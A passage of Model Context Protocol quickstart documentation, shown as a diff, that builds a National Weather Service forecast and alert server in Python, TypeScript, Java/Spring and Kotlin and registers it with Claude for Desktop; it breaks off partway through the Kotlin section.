+ **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, but can be used safely with `file=sys.stderr`.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```python theme={null}
+ import sys
+ import logging
+
+ # ❌ Bad (STDIO)
+ print("Processing request")
+
+ # ✅ Good (STDIO)
+ print("Processing request", file=sys.stderr)
+
+ # ✅ Good (STDIO)
+ logging.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Python 3.10 or higher installed.
+ * You must use the Python MCP SDK 1.2.0 or higher.
+
+ ### Set up your environment
+
+ First, let's install `uv` and set up our Python project and environment:
+
+
+ ```bash macOS/Linux theme={null}
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ ```
+
+ ```powershell Windows theme={null}
+ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
+ ```
+
+
+ Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ source .venv/bin/activate
+
+ # Install dependencies
+ uv add "mcp[cli]" httpx
+
+ # Create our server file
+ touch weather.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ .venv\Scripts\activate
+
+ # Install dependencies
+ uv add mcp[cli] httpx
+
+ # Create our server file
+ new-item weather.py
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `weather.py`:
+
+ ```python theme={null}
+ from typing import Any
+
+ import httpx
+ from mcp.server.fastmcp import FastMCP
+
+ # Initialize FastMCP server
+ mcp = FastMCP("weather")
+
+ # Constants
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```python theme={null}
+ async def make_nws_request(url: str) -> dict[str, Any] | None:
+ """Make a request to the NWS API with proper error handling."""
+ headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
+ async with httpx.AsyncClient() as client:
+ try:
+ response = await client.get(url, headers=headers, timeout=30.0)
+ response.raise_for_status()
+ return response.json()
+ except Exception:
+ return None
+
+
+ def format_alert(feature: dict) -> str:
+ """Format an alert feature into a readable string."""
+ props = feature["properties"]
+ return f"""
+ Event: {props.get("event", "Unknown")}
+ Area: {props.get("areaDesc", "Unknown")}
+ Severity: {props.get("severity", "Unknown")}
+ Description: {props.get("description", "No description available")}
+ Instructions: {props.get("instruction", "No specific instructions provided")}
+ """
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```python theme={null}
+ @mcp.tool()
+ async def get_alerts(state: str) -> str:
+ """Get weather alerts for a US state.
+
+ Args:
+ state: Two-letter US state code (e.g. CA, NY)
+ """
+ url = f"{NWS_API_BASE}/alerts/active/area/{state}"
+ data = await make_nws_request(url)
+
+ if not data or "features" not in data:
+ return "Unable to fetch alerts or no alerts found."
+
+ if not data["features"]:
+ return "No active alerts for this state."
+
+ alerts = [format_alert(feature) for feature in data["features"]]
+ return "\n---\n".join(alerts)
+
+
+ @mcp.tool()
+ async def get_forecast(latitude: float, longitude: float) -> str:
+ """Get weather forecast for a location.
+
+ Args:
+ latitude: Latitude of the location
+ longitude: Longitude of the location
+ """
+ # First get the forecast grid endpoint
+ points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
+ points_data = await make_nws_request(points_url)
+
+ if not points_data:
+ return "Unable to fetch forecast data for this location."
+
+ # Get the forecast URL from the points response
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = await make_nws_request(forecast_url)
+
+ if not forecast_data:
+ return "Unable to fetch detailed forecast."
+
+ # Format the periods into a readable forecast
+ periods = forecast_data["properties"]["periods"]
+ forecasts = []
+ for period in periods[:5]: # Only show next 5 periods
+ forecast = f"""
+ {period["name"]}:
+ Temperature: {period["temperature"]}°{period["temperatureUnit"]}
+ Wind: {period["windSpeed"]} {period["windDirection"]}
+ Forecast: {period["detailedForecast"]}
+ """
+ forecasts.append(forecast)
+
+ return "\n---\n".join(forecasts)
+ ```
+
+ ### Running the server
+
+ Finally, let's initialize and run the server:
+
+ ```python theme={null}
+ def main():
+ # Initialize and run the server
+ mcp.run(transport="stdio")
+
+
+ if __name__ == "__main__":
+ main()
+ ```
+
+ Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
+
+
+
+ Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * TypeScript
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```javascript theme={null}
+ // ❌ Bad (STDIO)
+ console.log("Server started");
+
+ // ✅ Good (STDIO)
+ console.error("Server started"); // stderr is safe
+ ```
+
+ ### System requirements
+
+ For TypeScript, make sure you have the latest version of Node installed.
+
+ ### Set up your environment
+
+ First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
+ Verify your Node.js installation:
+
+ ```bash theme={null}
+ node --version
+ npm --version
+ ```
+
+ For this tutorial, you'll need Node.js version 16 or higher.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ mkdir src
+ touch src/index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ md src
+ new-item src\index.ts
+ ```
+
+
+ Update your package.json to add type: "module" and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "bin": {
+ "weather": "./build/index.js"
+ },
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ },
+ "files": ["build"]
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["src/**/*"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `src/index.ts`:
+
+ ```typescript theme={null}
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
+ import { z } from "zod";
+
+ const NWS_API_BASE = "https://api.weather.gov";
+ const USER_AGENT = "weather-app/1.0";
+
+ // Create server instance
+ const server = new McpServer({
+ name: "weather",
+ version: "1.0.0",
+ });
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```typescript theme={null}
+ // Helper function for making NWS API requests
+ async function makeNWSRequest(url: string): Promise {
+ const headers = {
+ "User-Agent": USER_AGENT,
+ Accept: "application/geo+json",
+ };
+
+ try {
+ const response = await fetch(url, { headers });
+ if (!response.ok) {
+ throw new Error(`HTTP error! status: ${response.status}`);
+ }
+ return (await response.json()) as T;
+ } catch (error) {
+ console.error("Error making NWS request:", error);
+ return null;
+ }
+ }
+
+ interface AlertFeature {
+ properties: {
+ event?: string;
+ areaDesc?: string;
+ severity?: string;
+ status?: string;
+ headline?: string;
+ };
+ }
+
+ // Format alert data
+ function formatAlert(feature: AlertFeature): string {
+ const props = feature.properties;
+ return [
+ `Event: ${props.event || "Unknown"}`,
+ `Area: ${props.areaDesc || "Unknown"}`,
+ `Severity: ${props.severity || "Unknown"}`,
+ `Status: ${props.status || "Unknown"}`,
+ `Headline: ${props.headline || "No headline"}`,
+ "---",
+ ].join("\n");
+ }
+
+ interface ForecastPeriod {
+ name?: string;
+ temperature?: number;
+ temperatureUnit?: string;
+ windSpeed?: string;
+ windDirection?: string;
+ shortForecast?: string;
+ }
+
+ interface AlertsResponse {
+ features: AlertFeature[];
+ }
+
+ interface PointsResponse {
+ properties: {
+ forecast?: string;
+ };
+ }
+
+ interface ForecastResponse {
+ properties: {
+ periods: ForecastPeriod[];
+ };
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```typescript theme={null}
+ // Register weather tools
+
+ server.registerTool(
+ "get_alerts",
+ {
+ description: "Get weather alerts for a state",
+ inputSchema: {
+ state: z
+ .string()
+ .length(2)
+ .describe("Two-letter state code (e.g. CA, NY)"),
+ },
+ },
+ async ({ state }) => {
+ const stateCode = state.toUpperCase();
+ const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
+ const alertsData = await makeNWSRequest(alertsUrl);
+
+ if (!alertsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve alerts data",
+ },
+ ],
+ };
+ }
+
+ const features = alertsData.features || [];
+ if (!features.length) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `No active alerts for ${stateCode}`,
+ },
+ ],
+ };
+ }
+
+ const formattedAlerts = features.map(formatAlert);
+ const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: alertsText,
+ },
+ ],
+ };
+ },
+ );
+
+ server.registerTool(
+ "get_forecast",
+ {
+ description: "Get weather forecast for a location",
+ inputSchema: {
+ latitude: z
+ .number()
+ .min(-90)
+ .max(90)
+ .describe("Latitude of the location"),
+ longitude: z
+ .number()
+ .min(-180)
+ .max(180)
+ .describe("Longitude of the location"),
+ },
+ },
+ async ({ latitude, longitude }) => {
+ // Get grid point data
+ const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
+ const pointsData = await makeNWSRequest(pointsUrl);
+
+ if (!pointsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
+ },
+ ],
+ };
+ }
+
+ const forecastUrl = pointsData.properties?.forecast;
+ if (!forecastUrl) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to get forecast URL from grid point data",
+ },
+ ],
+ };
+ }
+
+ // Get forecast data
+ const forecastData = await makeNWSRequest(forecastUrl);
+ if (!forecastData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve forecast data",
+ },
+ ],
+ };
+ }
+
+ const periods = forecastData.properties?.periods || [];
+ if (periods.length === 0) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "No forecast periods available",
+ },
+ ],
+ };
+ }
+
+ // Format forecast periods
+ const formattedForecast = periods.map((period: ForecastPeriod) =>
+ [
+ `${period.name || "Unknown"}:`,
+ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
+ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
+ `${period.shortForecast || "No forecast available"}`,
+ "---",
+ ].join("\n"),
+ );
+
+ const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: forecastText,
+ },
+ ],
+ };
+ },
+ );
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```typescript theme={null}
+ async function main() {
+ const transport = new StdioServerTransport();
+ await server.connect(transport);
+ console.error("Weather MCP Server running on stdio");
+ }
+
+ main().catch((error) => {
+ console.error("Fatal error in main():", error);
+ process.exit(1);
+ });
+ ```
+
+ Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ Let's get started with building our weather server!
+ [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
+
+ For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
+ For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+ * Ensure any configured logging library will not write to stdout.
+
+ ### System requirements
+
+ * Java 17 or higher installed.
+ * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
+
+ ### Set up your environment
+
+ Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
+
+ You will need to add the following dependencies:
+
+
+ ```xml Maven theme={null}
+
+
+ org.springframework.ai
+ spring-ai-starter-mcp-server
+
+
+
+ org.springframework
+ spring-web
+
+
+ ```
+
+ ```groovy Gradle theme={null}
+ dependencies {
+ implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
+ implementation platform("org.springframework:spring-web")
+ }
+ ```
+
+
+ Then configure your application by setting the application properties:
+
+
+ ```bash application.properties theme={null}
+ spring.main.bannerMode=off
+ logging.pattern.console=
+ ```
+
+ ```yaml application.yml theme={null}
+ logging:
+ pattern:
+ console:
+ spring:
+ main:
+ banner-mode: off
+ ```
+
+
+ The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Weather Service
+
+ Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
+
+ ```java theme={null}
+ @Service
+ public class WeatherService {
+
+ private final RestClient restClient;
+
+ public WeatherService() {
+ this.restClient = RestClient.builder()
+ .baseUrl("https://api.weather.gov")
+ .defaultHeader("Accept", "application/geo+json")
+ .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
+ .build();
+ }
+
+ @Tool(description = "Get weather forecast for a specific latitude/longitude")
+ public String getWeatherForecastByLocation(
+ double latitude, // Latitude coordinate
+ double longitude // Longitude coordinate
+ ) {
+ // Returns detailed forecast including:
+ // - Temperature and unit
+ // - Wind speed and direction
+ // - Detailed forecast description
+ }
+
+ @Tool(description = "Get weather alerts for a US state")
+ public String getAlerts(
+ @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
+ ) {
+ // Returns active alerts including:
+ // - Event type
+ // - Affected area
+ // - Severity
+ // - Description
+ // - Safety instructions
+ }
+
+ // ......
+ }
+ ```
+
+ The `@Service` annotation will auto-register the service in your application context.
+ The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
+
+ The auto-configuration will automatically register these tools with the MCP server.
+
+ ### Create your Boot Application
+
+ ```java theme={null}
+ @SpringBootApplication
+ public class McpServerApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(McpServerApplication.class, args);
+ }
+
+ @Bean
+ public ToolCallbackProvider weatherTools(WeatherService weatherService) {
+ return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
+ }
+ }
+ ```
+
+ Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
+
+ ### Running the server
+
+ Finally, let's build the server:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux.
+
+
+ First, make sure you have Claude for Desktop installed.
+ [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.stdio=true",
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.transport=STDIO",
+ "-jar",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your server.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "my-weather-server"
+ 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+ ## Testing your server with Java client
+
+ ### Create an MCP Client manually
+
+ Use the `McpClient` to connect to the server:
+
+ ```java theme={null}
+ var stdioParams = ServerParameters.builder("java")
+ .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
+ .build();
+
+ var stdioTransport = new StdioClientTransport(stdioParams);
+
+ var mcpClient = McpClient.sync(stdioTransport).build();
+
+ mcpClient.initialize();
+
+ ListToolsResult toolsList = mcpClient.listTools();
+
+ CallToolResult weather = mcpClient.callTool(
+ new CallToolRequest("getWeatherForecastByLocation",
+ Map.of("latitude", "47.6062", "longitude", "-122.3321")));
+
+ CallToolResult alert = mcpClient.callTool(
+ new CallToolRequest("getAlerts", Map.of("state", "NY")));
+
+ mcpClient.closeGracefully();
+ ```
+
+ ### Use MCP Client Boot Starter
+
+ Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+ ```
+
+ and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
+ You can reuse the existing Anthropic Desktop configuration:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
+ ```
+
+ When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
+
+ For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
+
+ ## More Java MCP Server examples
+
+ The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport.
+ It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Kotlin
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * JDK 11 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ kotlin("plugin.serialization") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
+ implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Setting up the instance
+
+ Add a server initialization function:
+
+ ```kotlin theme={null}
+ fun runMcpServer() {
+ val server = Server(
+ Implementation(
+ name = "weather",
+ version = "1.0.0",
+ ),
+ ServerOptions(
+ capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
+ ),
+ )
+
+ // register tools on server here
+
+ val transport = StdioServerTransport(
+ System.`in`.asInput(),
+ System.out.asSink().buffered(),
+ )
+
+ runBlocking {
+ val session = server.createSession(transport)
+ val done = Job()
+ session.onClose {
+ done.complete()
+ }
+ done.join()
+ }
+ }
+ ```
+
+ ### Weather API helper functions
+
+ Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
+
+ ```kotlin theme={null}
+ val httpClient = HttpClient(CIO) {
+ defaultRequest {
+ url("https://api.weather.gov")
+ headers {
+ append("Accept", "application/geo+json")
+ append("User-Agent", "WeatherApiClient/1.0")
+ }
+ contentType(ContentType.Application.Json)
+ }
+ install(ContentNegotiation) {
+ json(Json { ignoreUnknownKeys = true })
+ }
+ }
+
+ // Extension function to fetch weather alerts for a given state
+ suspend fun HttpClient.getAlerts(state: String): List {
+ val alerts = this.get("/alerts/active/area/$state").body()
+ return alerts.features.map { feature ->
+ """
+ Event: ${feature.properties.event}
+ Area: ${feature.properties.areaDesc}
+ Severity: ${feature.properties.severity}
+ Status: ${feature.properties.status}
+ Headline: ${feature.properties.headline}
+ """.trimIndent()
+ }
+ }
+
+ // Extension function to fetch forecast information for given latitude and longitude
+ suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
+ val points = this.get("/points/$latitude,$longitude").body()
+ val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
+ val forecast = this.get(forecastUrl).body()
+ return forecast.properties.periods.map { period ->
+ """
+ ${period.name}:
+ Temperature: ${period.temperature}°${period.temperatureUnit}
+ Wind: ${period.windSpeed} ${period.windDirection}
+ ${period.shortForecast}
+ """.trimIndent()
+ }
+ }
+
+ @Serializable
+ data class PointsResponse(val properties: PointsProperties)
+
+ @Serializable
+ data class PointsProperties(val forecast: String? = null)
+
+ @Serializable
+ data class ForecastResponse(val properties: ForecastProperties)
+
+ @Serializable
+ data class ForecastProperties(val periods: List = emptyList())
+
+ @Serializable
